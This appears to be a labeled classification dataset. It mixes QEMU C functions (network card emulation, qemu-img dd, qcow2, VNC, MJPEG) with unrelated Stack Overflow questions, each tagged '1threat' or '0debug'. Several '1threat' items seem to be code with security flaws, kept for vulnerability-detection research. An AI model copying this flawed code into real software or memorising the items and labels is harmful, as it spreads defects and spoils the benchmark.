s->IntrStatus |= RxOverflow; ++s->RxMissed; rtl8139_update_irq(s); return size_; } packet_header |= RxStatusOK; packet_header |= (((size+4) << 16) & 0xffff0000); uint32_t val = cpu_to_le32(packet_header); rtl8139_write_buffer(s, (uint8_t *)&val, 4); rtl8139_write_buffer(s, buf, size); #if defined (RTL8139_CALCULATE_RXCRC) val = cpu_to_le32(crc32(0, buf, size)); #else val = 0; #endif rtl8139_write_buffer(s, (uint8_t *)&val, 4); s->RxBufAddr = MOD2((s->RxBufAddr + 3) & ~0x3, s->RxBufferSize); DEBUG_PRINT((" received: rx buffer length %d head 0x%04x read 0x%04x\n", s->RxBufferSize, s->RxBufAddr, s->RxBufPtr)); } s->IntrStatus |= RxOK; if (do_interrupt) { rtl8139_update_irq(s); } return size_; }
1threat
Google Fit SessionsApi not returning all sessions in time range : <p>Somehow I've run into a dead end with the Google Fit Android SDK. Currently I'm building an application that reads, displays and processes data from Google Fit to give users insights on their workout behavior. </p> <p>My situation is as follows: I used to test on a Google Pixel - everything was fine and I've received all (more than 20) sessions from Google Fit. One week ago, I've switched to a HTC10 - on this device I'm only receiving 4 (!) sessions from Google Fit - same app, same code, same Google Fit account (in the Google Fit app I can still see all workouts and sessions). The sessions I'm trying to read were not created with my app, but instead with the Google Fit app itself. But still, on the old phone I could read them, on the new one I can not. </p> <p>Let me paste some code for additional clarity. </p> <p>GoogleApiClient Set-Up</p> <pre><code>googleApiClient = GoogleApiClient.Builder(context) .addApi(Fitness.HISTORY_API) .addApi(Fitness.SESSIONS_API) .addApi(Fitness.RECORDING_API) .addApi(Fitness.GOALS_API) .addScope(Scope(Scopes.FITNESS_ACTIVITY_READ_WRITE)) .addScope(Scope(Scopes.FITNESS_BODY_READ_WRITE)) </code></pre> <p>After connecting, I subscribe to several RecordingApis (<code>TYPE_WORKOUT_EXERCISE</code>, <code>TYPE_WEIGHT</code>, <code>TYPE_CALORIES_EXPENDED</code>)</p> <p><code>SessionReadRequest</code>:</p> <pre><code> val sessionRequest = SessionReadRequest.Builder() .setTimeInterval(startTime, endTime, TimeUnit.MILLISECONDS) .read(DataType.TYPE_WORKOUT_EXERCISE) .readSessionsFromAllApps() .enableServerQueries() .build() </code></pre> <p>Reading the sessions:</p> <pre><code> Fitness.SessionsApi.readSession(googleApiClient, sessionRequest) .setResultCallback { result -&gt; Timber.d("Sessions result: %s", result.status) Timber.d("Got %d sessions", result.sessions.size) // returns only 4! for 2014-NOW timerange } </code></pre> <p>Any help would be appreciated.</p>
0debug
static int qmp_check_client_args(const mon_cmd_t *cmd, QDict *client_args) { int flags, err; QDict *cmd_args; cmd_args = qdict_from_args_type(cmd->args_type); flags = 0; err = check_mandatory_args(cmd_args, client_args, &flags); if (err) { goto out; } out: QDECREF(cmd_args); return err; }
1threat
Multiplocation 2 two numbers : I have an assignment to build a function that multiplies 2 numbers ( int and double ) and without using * or '-' Can only use '+' '/' and '%'. I noticed alot of people are using shifting methos but i cant use without because we didnt learn it yet. And as much as i can do it without 1 while loop easily the trick is its supposed to be in nlogn or logn runtime efficiency... No list no arrays either though i dont see any way of using them anyway. Is there any possible way of doing it ??? Thanks Bar
0debug
Edittext imeOptions actionDone not working with digits attribute? : <p>I have an Editext . It contains attribute digits and imeOptions (actionDone) together. </p> <pre><code>&lt;android.support.v7.widget.AppCompatEditText android:id="@+id/edit_text_name" android:layout_width="match_parent" android:layout_height="wrap_content" android:digits="1234567890abcdefghijklmnopqrstuvwxyz....." android:hint="@string/item_name" android:imeOptions="actionDone" android:maxLines="1" /&gt; </code></pre> <p>The actionDone (Done button in Softkeyword) not found while using digit &amp;&amp; imeOptions attributes together . We can only find enter button which doesn't make any focus change. I have tried it by skipping digit attribute , then imeOptions working correctly. Thanks in advance</p>
0debug
Any tool to create graphs from data of a tree? : <p>is there any simply and easy to use tool for Django (or for python) which is going to create a nice graphicon from the datas of a tree? Of course i can format the datas in any way, i just need a program which can process it and create a graphicon for it, like:</p> <p><a href="https://en.wikipedia.org/wiki/Tree_(data_structure)#/media/File:Binary_tree.svg" rel="nofollow noreferrer">https://en.wikipedia.org/wiki/Tree_(data_structure)#/media/File:Binary_tree.svg</a></p> <p>. It' s only a tree, no circle inside. Actually i' m using django-treenode .</p> <p>Thanks for any tip, idea.</p>
0debug
How to convert date format from dd.mm.yyyy to dd/mm/yyyy in javascript : <p>Input <code>13.09.2018 (dd.mm.yy)</code></p> <p>Expected format <code>13/09/2018 (dd/mm/yy)</code></p> <p>How to convert the input date to expected format in javascript?</p>
0debug
How google tracks me without using mobile my internet data plan? : I'm developing an app that can shows all the bus lines in my city, i'd like to show if the bus is crowed or not, and even get the bus position by another user that is inside it. But I don't want to use all the internet plan from my users, i see that google does that, he know when a restaurante or bar has people there, knows if a street is congested, and also get your path history. I'm not asking for all the code, but kind of how does google does that?
0debug
Image overlay you can click through : <p>So I want an image to overlay my website page but I still want to be able to click the links and buttons through it.</p>
0debug
How to show full long line in visual studio code (word wrap off) : <p>I want to be able to view complete long line (on a single line) in visual studio code. The editor is terminating the line with <code>...</code> at the end. </p> <p>I can press the <code>End</code> key to move to the last column of the line but its not visible in the viewport. </p> <p>Is there any option to be able to view complete long lines like we can in Sublime Text or Notepad++?</p> <p><a href="https://i.stack.imgur.com/zm2WJ.png" rel="noreferrer"><img src="https://i.stack.imgur.com/zm2WJ.png" alt="VS Code long line"></a></p>
0debug
static int img_dd(int argc, char **argv) { int ret = 0; char *arg = NULL; char *tmp; BlockDriver *drv = NULL, *proto_drv = NULL; BlockBackend *blk1 = NULL, *blk2 = NULL; QemuOpts *opts = NULL; QemuOptsList *create_opts = NULL; Error *local_err = NULL; bool image_opts = false; int c, i; const char *out_fmt = "raw"; const char *fmt = NULL; int64_t size = 0; int64_t block_count = 0, out_pos, in_pos; struct DdInfo dd = { .flags = 0, .count = 0, }; struct DdIo in = { .bsz = 512, .filename = NULL, .buf = NULL, .offset = 0 }; struct DdIo out = { .bsz = 512, .filename = NULL, .buf = NULL, .offset = 0 }; const struct DdOpts options[] = { { "bs", img_dd_bs, C_BS }, { "count", img_dd_count, C_COUNT }, { "if", img_dd_if, C_IF }, { "of", img_dd_of, C_OF }, { "skip", img_dd_skip, C_SKIP }, { NULL, NULL, 0 } }; const struct option long_options[] = { { "help", no_argument, 0, 'h'}, { "image-opts", no_argument, 0, OPTION_IMAGE_OPTS}, { 0, 0, 0, 0 } }; while ((c = getopt_long(argc, argv, "hf:O:", long_options, NULL))) { if (c == EOF) { break; } switch (c) { case 'O': out_fmt = optarg; break; case 'f': fmt = optarg; break; case '?': error_report("Try 'qemu-img --help' for more information."); ret = -1; goto out; case 'h': help(); break; case OPTION_IMAGE_OPTS: image_opts = true; break; } } for (i = optind; i < argc; i++) { int j; arg = g_strdup(argv[i]); tmp = strchr(arg, '='); if (tmp == NULL) { error_report("unrecognized operand %s", arg); ret = -1; goto out; } *tmp++ = '\0'; for (j = 0; options[j].name != NULL; j++) { if (!strcmp(arg, options[j].name)) { break; } } if (options[j].name == NULL) { error_report("unrecognized operand %s", arg); ret = -1; goto out; } if (options[j].f(tmp, &in, &out, &dd) != 0) { ret = -1; goto out; } dd.flags |= options[j].flag; g_free(arg); arg = NULL; } if (!(dd.flags & C_IF && dd.flags & C_OF)) { error_report("Must specify both input and output files"); ret = -1; goto out; } blk1 = img_open(image_opts, in.filename, fmt, 0, false, false); if (!blk1) { ret = -1; goto out; } drv = bdrv_find_format(out_fmt); if (!drv) { error_report("Unknown file format"); ret = -1; goto out; } proto_drv = bdrv_find_protocol(out.filename, true, &local_err); if (!proto_drv) { error_report_err(local_err); ret = -1; goto out; } if (!drv->create_opts) { error_report("Format driver '%s' does not support image creation", drv->format_name); ret = -1; goto out; } if (!proto_drv->create_opts) { error_report("Protocol driver '%s' does not support image creation", proto_drv->format_name); ret = -1; goto out; } create_opts = qemu_opts_append(create_opts, drv->create_opts); create_opts = qemu_opts_append(create_opts, proto_drv->create_opts); opts = qemu_opts_create(create_opts, NULL, 0, &error_abort); size = blk_getlength(blk1); if (size < 0) { error_report("Failed to get size for '%s'", in.filename); ret = -1; goto out; } if (dd.flags & C_COUNT && dd.count <= INT64_MAX / in.bsz && dd.count * in.bsz < size) { size = dd.count * in.bsz; } if (dd.flags & C_SKIP && (in.offset > INT64_MAX / in.bsz || size < in.bsz * in.offset)) { qemu_opt_set_number(opts, BLOCK_OPT_SIZE, 0, &error_abort); } else { qemu_opt_set_number(opts, BLOCK_OPT_SIZE, size - in.bsz * in.offset, &error_abort); } ret = bdrv_create(drv, out.filename, opts, &local_err); if (ret < 0) { error_reportf_err(local_err, "%s: error while creating output image: ", out.filename); ret = -1; goto out; } blk2 = img_open(image_opts, out.filename, out_fmt, BDRV_O_RDWR, false, false); if (!blk2) { ret = -1; goto out; } if (dd.flags & C_SKIP && (in.offset > INT64_MAX / in.bsz || size < in.offset * in.bsz)) { error_report("%s: cannot skip to specified offset", in.filename); in_pos = size; } else { in_pos = in.offset * in.bsz; } in.buf = g_new(uint8_t, in.bsz); for (out_pos = 0; in_pos < size; block_count++) { int in_ret, out_ret; if (in_pos + in.bsz > size) { in_ret = blk_pread(blk1, in_pos, in.buf, size - in_pos); } else { in_ret = blk_pread(blk1, in_pos, in.buf, in.bsz); } if (in_ret < 0) { error_report("error while reading from input image file: %s", strerror(-in_ret)); ret = -1; goto out; } in_pos += in_ret; out_ret = blk_pwrite(blk2, out_pos, in.buf, in_ret, 0); if (out_ret < 0) { error_report("error while writing to output image file: %s", strerror(-out_ret)); ret = -1; goto out; } out_pos += out_ret; } out: g_free(arg); qemu_opts_del(opts); qemu_opts_free(create_opts); blk_unref(blk1); blk_unref(blk2); g_free(in.filename); g_free(out.filename); g_free(in.buf); g_free(out.buf); if (ret) { return 1; } return 0; }
1threat
Shorting the columns of data frame under a specific group : <p>I have a data frame from which the columns has this format:</p> <pre><code>name stock1 stock2 value1 value2 stoc_from_csv Google Yahoo 50 21 stock up to date Opel Tayoota 42 44 </code></pre> <p>How can I reshape the column to have all with 1 the one next to other, same for 2 etc. An example of output:</p> <pre><code> name stock1 value1 stock2 value2 stoc_from_csv Google 50 Yahoo 21 stock up to date Opel 42 Tayoota 44 </code></pre>
0debug
static int handle_sigp(S390CPU *cpu, struct kvm_run *run, uint8_t ipa1) { CPUS390XState *env = &cpu->env; uint8_t order_code; uint16_t cpu_addr; int r = -1; S390CPU *target_cpu; cpu_synchronize_state(CPU(cpu)); order_code = decode_basedisp_rs(env, run->s390_sieic.ipb) & SIGP_ORDER_MASK; cpu_addr = env->regs[ipa1 & 0x0f]; target_cpu = s390_cpu_addr2state(cpu_addr); if (target_cpu == NULL) { goto out; } switch (order_code) { case SIGP_START: r = kvm_s390_cpu_start(target_cpu); break; case SIGP_RESTART: r = kvm_s390_cpu_restart(target_cpu); break; case SIGP_SET_ARCH: return -1; case SIGP_INITIAL_CPU_RESET: r = s390_cpu_initial_reset(target_cpu); break; default: fprintf(stderr, "KVM: unknown SIGP: 0x%x\n", order_code); break; } out: setcc(cpu, r ? 3 : 0); return 0; }
1threat
text-overflow ellipsis on flex child not working : <p>I have container with <code>flex</code>. I want the middle child will take the entire space so I set it <code>flex: 1</code>. So far so good.</p> <p>The next level is that the middle child has 2 child so I want to set it flex too (If you lost me, just skip to the snippet) and the first child I set ellipsis styles. Now, the ellipsis stops working.</p> <p>If you will click on the button, you will see that everything good with short text;</p> <p>Any ideas?</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>function toggle() { var el = document.querySelector('.el'); el.textContent = el.textContent === 'short' ? 'long long long text' : 'short'; }</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>.wrapper { display: flex; width: 200px; align-content: stretch; padding: 5px; min-width: 0; border: 1px solid } .wrapper .child2 { flex-grow: 1; } .flex { display: flex; min-width: 0; } .el { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .child1 { background: red; } .child2 { background: blue; } .child3 { background: green; } .wrapper&gt;* { padding: 5px; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="wrapper"&gt; &lt;div class="child1"&gt;child1&lt;/div&gt; &lt;div class="child2"&gt; &lt;div class="flex"&gt; &lt;div class="el"&gt;long long long text&lt;/div&gt; &lt;div&gt;a&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="child3"&gt;child3&lt;/div&gt; &lt;/div&gt; &lt;button onclick="toggle()"&gt;Toggle ellipsis text&lt;/button&gt;</code></pre> </div> </div> </p>
0debug
is there any alternative IMPORTRANGE Google app script for spreadsheets to cross update the sheets? : I used the IMPORTRANGE but we can not edit the data in another sheet where we fetched this. SO I found this script https://www.youtube.com/watch?v=PZtb3lRWn74 but same case here also. Is there any method or script so we can import only few columns and cross update them from both/any of these sheets?
0debug
static int encode_picture_lossless(AVCodecContext *avctx, unsigned char *buf, int buf_size, void *data){ MpegEncContext * const s = avctx->priv_data; MJpegContext * const m = s->mjpeg_ctx; AVFrame *pict = data; const int width= s->width; const int height= s->height; AVFrame * const p= (AVFrame*)&s->current_picture; const int predictor= avctx->prediction_method+1; init_put_bits(&s->pb, buf, buf_size); *p = *pict; p->pict_type= FF_I_TYPE; p->key_frame= 1; mjpeg_picture_header(s); s->header_bits= put_bits_count(&s->pb); if(avctx->pix_fmt == PIX_FMT_RGBA32){ int x, y, i; const int linesize= p->linesize[0]; uint16_t buffer[2048][4]; int left[3], top[3], topleft[3]; for(i=0; i<3; i++){ buffer[0][i]= 1 << (9 - 1); } for(y = 0; y < height; y++) { const int modified_predictor= y ? predictor : 1; uint8_t *ptr = p->data[0] + (linesize * y); for(i=0; i<3; i++){ top[i]= left[i]= topleft[i]= buffer[0][i]; } for(x = 0; x < width; x++) { buffer[x][1] = ptr[4*x+0] - ptr[4*x+1] + 0x100; buffer[x][2] = ptr[4*x+2] - ptr[4*x+1] + 0x100; buffer[x][0] = (ptr[4*x+0] + 2*ptr[4*x+1] + ptr[4*x+2])>>2; for(i=0;i<3;i++) { int pred, diff; PREDICT(pred, topleft[i], top[i], left[i], modified_predictor); topleft[i]= top[i]; top[i]= buffer[x+1][i]; left[i]= buffer[x][i]; diff= ((left[i] - pred + 0x100)&0x1FF) - 0x100; if(i==0) mjpeg_encode_dc(s, diff, m->huff_size_dc_luminance, m->huff_code_dc_luminance); else mjpeg_encode_dc(s, diff, m->huff_size_dc_chrominance, m->huff_code_dc_chrominance); } } } }else{ int mb_x, mb_y, i; const int mb_width = (width + s->mjpeg_hsample[0] - 1) / s->mjpeg_hsample[0]; const int mb_height = (height + s->mjpeg_vsample[0] - 1) / s->mjpeg_vsample[0]; for(mb_y = 0; mb_y < mb_height; mb_y++) { for(mb_x = 0; mb_x < mb_width; mb_x++) { if(mb_x==0 || mb_y==0){ for(i=0;i<3;i++) { uint8_t *ptr; int x, y, h, v, linesize; h = s->mjpeg_hsample[i]; v = s->mjpeg_vsample[i]; linesize= p->linesize[i]; for(y=0; y<v; y++){ for(x=0; x<h; x++){ int pred; ptr = p->data[i] + (linesize * (v * mb_y + y)) + (h * mb_x + x); if(y==0 && mb_y==0){ if(x==0 && mb_x==0){ pred= 128; }else{ pred= ptr[-1]; } }else{ if(x==0 && mb_x==0){ pred= ptr[-linesize]; }else{ PREDICT(pred, ptr[-linesize-1], ptr[-linesize], ptr[-1], predictor); } } if(i==0) mjpeg_encode_dc(s, (int8_t)(*ptr - pred), m->huff_size_dc_luminance, m->huff_code_dc_luminance); else mjpeg_encode_dc(s, (int8_t)(*ptr - pred), m->huff_size_dc_chrominance, m->huff_code_dc_chrominance); } } } }else{ for(i=0;i<3;i++) { uint8_t *ptr; int x, y, h, v, linesize; h = s->mjpeg_hsample[i]; v = s->mjpeg_vsample[i]; linesize= p->linesize[i]; for(y=0; y<v; y++){ for(x=0; x<h; x++){ int pred; ptr = p->data[i] + (linesize * (v * mb_y + y)) + (h * mb_x + x); PREDICT(pred, ptr[-linesize-1], ptr[-linesize], ptr[-1], predictor); if(i==0) mjpeg_encode_dc(s, (int8_t)(*ptr - pred), m->huff_size_dc_luminance, m->huff_code_dc_luminance); else mjpeg_encode_dc(s, (int8_t)(*ptr - pred), m->huff_size_dc_chrominance, m->huff_code_dc_chrominance); } } } } } } } emms_c(); mjpeg_picture_trailer(s); s->picture_number++; flush_put_bits(&s->pb); return pbBufPtr(&s->pb) - s->pb.buf; }
1threat
TdxRichEditControl on delphi? how to add and get rich text to this programatically? : is anyone here worked with TdxRichEditControl from DevExpress on delphi? devExpress Don't provide Docs on how to add and get rich text to this control programatically. Or Any suggestion to Embedded Full text Editor in My Program ? i am on delphi Seattle. thanks
0debug
update dart sdk for flutter : <p>I would like to use dart SDK >= 2.2.0 with flutter. But my current version used BY Flutter is 2.1.2</p> <pre><code>flutter --version Flutter 1.2.1 • channel stable • https://github.com/flutter/flutter.git Framework • revision 8661d8aecd (2 months ago) • 2019-02-14 19:19:53 -0800 Engine • revision 3757390fa4 Tools • Dart 2.1.2 (build 2.1.2-dev.0.0 0a7dcf17eb) </code></pre> <p>I tried to install the 2.2.0 version independently and I succeed :</p> <pre><code>dart --version Dart VM version: 2.2.0 (Tue Feb 26 15:04:32 2019 +0100) on "macos_x64" </code></pre> <p>However, Flutter doesn't use this version as you can see above. I tried to replace files of the <code>dart-sdk</code> used by flutter (<code>flutter/bin/cache/dart-sdk</code>) by the version that I installed independently, but when I try to run Flutter after that I have a snapshot problem so I have put back the original <code>dart-sdk</code> folder in the flutter directory.</p> <p>Do you have any ideas how can I update it? </p> <p>PS: I downloaded flutter very recently (10 days ago) from here: <a href="https://flutter.dev/docs/get-started/install/macos" rel="noreferrer">https://flutter.dev/docs/get-started/install/macos</a></p>
0debug
Visual Studio Code debugging Array evaluation : <p>I have a small issue when debugging PHP with Visual Studio Code. The XDebug works fine, I am able to stop at breakpoints and evaluate variables by hovering on them or adding them to watch. However when I attempt to view an array which has more than 32 items, I can only see those first 32. For example, an array of 172 items will only display 32 items. I tried to evaluate this array in a manner of ways, running dump commands inside the console, or json_encode, to no avail. </p> <p>Any ideas?</p>
0debug
How To Move One Dive After Another Div? : <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="test1"&gt; ......... &lt;/div&gt; &lt;p&gt;some text here&lt;/p&gt; &lt;div class="test2"&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>I want to Move Div test1 after test2</p> <p>Thanks</p>
0debug
static int coroutine_fn copy_sectors(BlockDriverState *bs, uint64_t start_sect, uint64_t cluster_offset, int n_start, int n_end) { BDRVQcowState *s = bs->opaque; QEMUIOVector qiov; struct iovec iov; int n, ret; n = n_end - n_start; if (n <= 0) { return 0; } iov.iov_len = n * BDRV_SECTOR_SIZE; iov.iov_base = qemu_blockalign(bs, iov.iov_len); qemu_iovec_init_external(&qiov, &iov, 1); BLKDBG_EVENT(bs->file, BLKDBG_COW_READ); if (!bs->drv) { return -ENOMEDIUM; } ret = bs->drv->bdrv_co_readv(bs, start_sect + n_start, n, &qiov); if (ret < 0) { goto out; } if (s->crypt_method) { qcow2_encrypt_sectors(s, start_sect + n_start, iov.iov_base, iov.iov_base, n, 1, &s->aes_encrypt_key); } ret = qcow2_pre_write_overlap_check(bs, 0, cluster_offset + n_start * BDRV_SECTOR_SIZE, n * BDRV_SECTOR_SIZE); if (ret < 0) { goto out; } BLKDBG_EVENT(bs->file, BLKDBG_COW_WRITE); ret = bdrv_co_writev(bs->file, (cluster_offset >> 9) + n_start, n, &qiov); if (ret < 0) { goto out; } ret = 0; out: qemu_vfree(iov.iov_base); return ret; }
1threat
Is it better to use path() or url() in urls.py for django 2.0? : <p>In a django online course, the instructor has us use the <code>url()</code> function to call views and utilize regular expressions in the urlpatterns list. I've seen other examples on youtube of this. e.g.</p> <pre><code>from django.contrib import admin from django.urls import include from django.conf.urls import url urlpatterns = [ path('admin/', admin.site.urls), url(r'^polls/', include('polls.urls')), ] #and in polls/urls.py urlpatterns = [ url(r'^$', views.index, name="index"), ] </code></pre> <p>However, in going through the Django tutorial, they use <code>path()</code> instead e.g.:</p> <pre><code>from django.urls import path from . import views urlpatterns = [ path('', views.index, name="index"), ] </code></pre> <p>Furthermore regular expressions don't seem to work with the <code>path()</code> function as using a <code>path(r'^$', views.index, name="index")</code> won't find the <code>mysite.com/polls/</code> view. </p> <p>Is using <code>path()</code> without regex matching the proper way going forward? Is <code>url()</code> more powerful but more complicated so they're using <code>path()</code> to start us out with? Or is it a case of different tools for different jobs?</p>
0debug
Non-terminal forEach() in a stream? : <p>Sometimes when processing a Java stream() I find myself in need of a non-terminal forEach() to be used to trigger a side effect but without terminating processing.</p> <p>I suspect I could do this with something like .map(item -> f(item)) where the method f performs the side effect and returns the item to the stream, but it seems a tad hokey.</p> <p>Is there a standard way of handling this?</p>
0debug
const DVprofile* avpriv_dv_frame_profile(const DVprofile *sys, const uint8_t* frame, unsigned buf_size) { int i; int dsf = (frame[3] & 0x80) >> 7; int stype = frame[80*5 + 48 + 3] & 0x1f; if (dsf == 1 && stype == 0 && frame[4] & 0x07 ) { return &dv_profiles[2]; } for (i=0; i<FF_ARRAY_ELEMS(dv_profiles); i++) if (dsf == dv_profiles[i].dsf && stype == dv_profiles[i].video_stype) return &dv_profiles[i]; if (sys && buf_size == sys->frame_size) return sys; return NULL; }
1threat
How to render QuillJS rich-text output to HTML : <p>I am a little stuck, I am working with Quill JS editor and have now got to the point where I need to render the output from the editor in a html document and possibly a PDF document (HTML is a priority)</p> <p>How would I render output like this:</p> <pre><code>{ "ops": [ {"attributes":{"bold":true},"insert":"Test Post"}, {"insert":"\n\nThis is a test post.\n"} ] } </code></pre> <p>I have had a look around but cant seem to find out how to do this. I hope someone can help.</p> <p>Thanks!</p>
0debug
int vnc_display_open(DisplayState *ds, const char *arg) { struct sockaddr *addr; struct sockaddr_in iaddr; #ifndef _WIN32 struct sockaddr_un uaddr; #endif int reuse_addr, ret; socklen_t addrlen; const char *p; VncState *vs = ds ? (VncState *)ds->opaque : vnc_state; vnc_display_close(ds); if (strcmp(arg, "none") == 0) return 0; if (!(vs->display = strdup(arg))) return -1; #ifndef _WIN32 if (strstart(arg, "unix:", &p)) { addr = (struct sockaddr *)&uaddr; addrlen = sizeof(uaddr); vs->lsock = socket(PF_UNIX, SOCK_STREAM, 0); if (vs->lsock == -1) { fprintf(stderr, "Could not create socket\n"); free(vs->display); vs->display = NULL; return -1; } uaddr.sun_family = AF_UNIX; memset(uaddr.sun_path, 0, 108); snprintf(uaddr.sun_path, 108, "%s", p); unlink(uaddr.sun_path); } else #endif { addr = (struct sockaddr *)&iaddr; addrlen = sizeof(iaddr); if (parse_host_port(&iaddr, arg) < 0) { fprintf(stderr, "Could not parse VNC address\n"); free(vs->display); vs->display = NULL; return -1; } iaddr.sin_port = htons(ntohs(iaddr.sin_port) + 5900); vs->lsock = socket(PF_INET, SOCK_STREAM, 0); if (vs->lsock == -1) { fprintf(stderr, "Could not create socket\n"); free(vs->display); vs->display = NULL; return -1; } reuse_addr = 1; ret = setsockopt(vs->lsock, SOL_SOCKET, SO_REUSEADDR, (const char *)&reuse_addr, sizeof(reuse_addr)); if (ret == -1) { fprintf(stderr, "setsockopt() failed\n"); close(vs->lsock); vs->lsock = -1; free(vs->display); vs->display = NULL; return -1; } } if (bind(vs->lsock, addr, addrlen) == -1) { fprintf(stderr, "bind() failed\n"); close(vs->lsock); vs->lsock = -1; free(vs->display); vs->display = NULL; return -1; } if (listen(vs->lsock, 1) == -1) { fprintf(stderr, "listen() failed\n"); close(vs->lsock); vs->lsock = -1; free(vs->display); vs->display = NULL; return -1; } return qemu_set_fd_handler2(vs->lsock, vnc_listen_poll, vnc_listen_read, NULL, vs); }
1threat